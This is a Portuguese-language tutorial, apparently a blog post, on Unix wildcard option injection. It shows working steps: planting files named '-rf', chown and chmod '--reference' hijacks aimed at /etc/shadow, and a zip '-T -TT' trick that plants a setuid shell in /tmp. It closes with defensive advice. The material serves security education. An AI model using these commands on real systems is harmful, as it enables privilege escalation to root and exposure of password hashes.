Introdução
Todos os interpretadores de comandos conhecidos dão suporte aos wildcards. Um wildcard nada mais é que um conjunto de caracteres que será expandido seguindo uma lógica específica. Um exemplo comum é o comando ls file* usado para listar todos os arquivos que começam com a palavra file
A expansão do wildcard será passada para o programa em forma de parâmetros sem diferenciar nome de arquivos e opções. Esse comportamento permite que opções sejam injetadas em comandos sem a intenção do usuário.
O problema
A expansão de wildcards pode injetar opções indesejadas em comandos do sistema. Imagine essa situação:
$ ls total 20 drwxr-xr-x 5 daemonio users 4096 Jul 8 15:12 ./ drwxr-xr-x 4 daemonio users 4096 Jul 8 15:07 ../ drwxr-xr-x 2 daemonio users 4096 Jul 8 15:08 dir1/ drwxr-xr-x 2 daemonio users 4096 Jul 8 15:08 dir2/ drwxr-xr-x 2 daemonio users 4096 Jul 8 15:08 dir3/ -rw-r--r-- 1 daemonio users 0 Jul 8 15:08 file1 -rw-r--r-- 1 daemonio users 0 Jul 8 15:08 file2 -rw-r--r-- 1 daemonio users 0 Jul 8 15:08 file3 -rw-r--r-- 1 daemonio users 0 Jul 8 15:12 -rf
Veja que há um arquivo de nome -rf na pasta. O que acontece se alguém executasse o comando?
$ rm *
O shell irá substituir o comando acima por:
$ rm dir1 dir2 dir3 file1 file2 file3 -rf
o rm encontrará a string -rf e a tratará como opção. Essa opção diz para remover sem confirmação os arquivos passados, mesmo eles sendo diretórios. Com isso, os diretórios também seriam deletados, embora isso não sendo intenção inicial do usuário.
Usando o strace, vemos no que se resulta da expansão dos wildcards:
$ strace rm *
execve("/usr/bin/rm", ["rm", "dir1", "dir2", "dir3",
"file1", "file2", "file3", "-rf"], [/* 106 vars */]) = 0
brk(0)
Os parâmetros são agrupados sem distinção entre nome de arquivos e opções.
Condições para o ataque
Sabemos agora que é possível injetar opções arbitrárias em comandos do linux. O objetivo principal é injetar opções em comandos executados pelo root para assim se adquirir alguma execução com alto privilégio. Para o ataque ser 100% efetivo, a seguinte lista deve ser satisfeita:
- existir um shell script executado pelo/como root que use wildcards
- o script deve executar um comando sobre uma pasta qualquer
- devemos ter um
+wnessa pasta para criarmos arquivos nela
O caso comum é um shell script que monitora pastas de usuários comuns (ou /tmp) e executado pelo cron. Embora um shell script seja o mais comum, programas em C que chamam o bash internamente, como uma chamada a system("rm *"), também são afetados.
É necessário que o programa alvo forneça opções interessantes que poderão ser usadas no ataque. Abaixo alguns exemplos de injeções de opções.
User/Group Hijacking (chown)
Suponha que algum script root ou programa setuid esteja executando
# chown nobody:nobody *
O comando irá mudar o usuário e grupo de todos os arquivos do diretório (exceto os ocultos) para nobody. Verificando a man page do chown, vemos a opção:
--reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values
a opção faz o chown usar o usuário e o grupo de RFILE como referência para serem usados nos outros arquivos. Agora tudo que temos que fazer é:
$ touch .rfile $ ls -la .rfile -rw-r--r-- 1 daemonio users 0 Jul 16 17:32 .rfile $ ln -s /etc/shadow shadow $ touch ./--reference=.rfile
Quando o chown for executado como root nesse diretório com:
# chown nobody:nobody *
tem o mesmo resultado que executar:
# chown shadow --reference=.rfile
todos os arquivos terão permissão daemonio:users e não nobody:nobody. Isso inclui também o arquivo /etc/shadow que agora poderá ser lido pelo atacante.
$ ls -lisa /etc/passwd 1055404 4 -r-------- 1 daemonio users 784 Apr 7 19:06 /etc/shadow
Permission Hijacking (chmod)
Segue o mesmo esquema do chown, só que agora as permissões é que serão sequestradas.
$ touch .rfile $ chmod 777 .rfile $ ln -s /etc/shadow shadow $ touch ./--reference=.rfile
Em seguida, se o seguinte comando for executado:
# chmod 666 *
o arquivo /etc/shadow terá as permissões trocadas:
$ ls -lisa /etc/shadow 1055404 4 -rwxrwxrwx 1 root root 784 Apr 7 19:06 /etc/shadow
Esse caso é bem mais provável de acontecer, afinal, que nunca deu um #chmod 777 * em alguma vez na vida?
Zip (execução de comando)
O wildcard ‘*’ é usado com frequência em programas de compactação, como zip, rar e tar. O uso é tão comum que até na man page dos comandos ele é usado. Esses programas contêm opções que fazem que outros comandos sejam executados, e são essas opções que tiraremos vantagem. As opções interessantes aqui são a -T e -TT. Basicamente, elas dizem para o zip testar (-T) o arquivo de lote usando o comando indicado em -TT. Com isso, é possível fazer algo como:
$ zip arquivo.zip * -T -TT 'cat /etc/passwd'
O zip irá executar o cat para testar o arquivo de lote. Criando os seguintes arquivos é possível conseguir uma shell root com a simples utilização do comando zip. Veja:
$ cat > sc << EOF #!/bin/bash cp /bin/zsh /tmp/.sh chmod 6777 /tmp/.sh EOF $ chmod +x sc $ touch ./-TT\ sh\ sc $ touch ./-T
são criados os arquivos sc (um shell script), -T e -TT sh sc. Se o root executar:
# zip arquivo.zip *
que faz o mesmo que:
# zip arquivo.zip -T -TT sh sc
teremos uma root shell novinha em /tmp/.sh. :D
Encontrando opções úteis
Outros programas também possuem opções de execução de comandos. Procure na man page por command ou cmd para encontrá-las. Outros desses comandos “vulneráveis” são tar e rsync [1]
Opções que escrevem em arquivos também são bastante úteis. Podemos usá-las para sobrescrever arquivos do sistema como /etc/passwd a fim de ganharmos um usuário com uid 0. Um caso parecido é de como abusar do nmap com suid-bit para ganhar root no sistema.
Conclusão
Scripts do super usuário que possuem comandos que usem wildcards e que executam em pastas que podem ser escritas por usuários comuns podem sofrer um ataque de injeções de opções. As opções variam de programa para programa e em muitos casos elas podem levar ao comprometimento do sistema, seja alterando arquivos importantes ou abrindo um shell root. A solução para o problema é ter cautela ao rodar scripts e/ou comandos como root em diretórios de usuários comuns e se possível realizar algum tipo de filtro para evitar que opções maliciosas sejam passadas para o programa alvo.
Referências
[1] Back To The Future: Unix Wildcards Gone Wild by Leon Juranic
http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
Dæmonio Labs 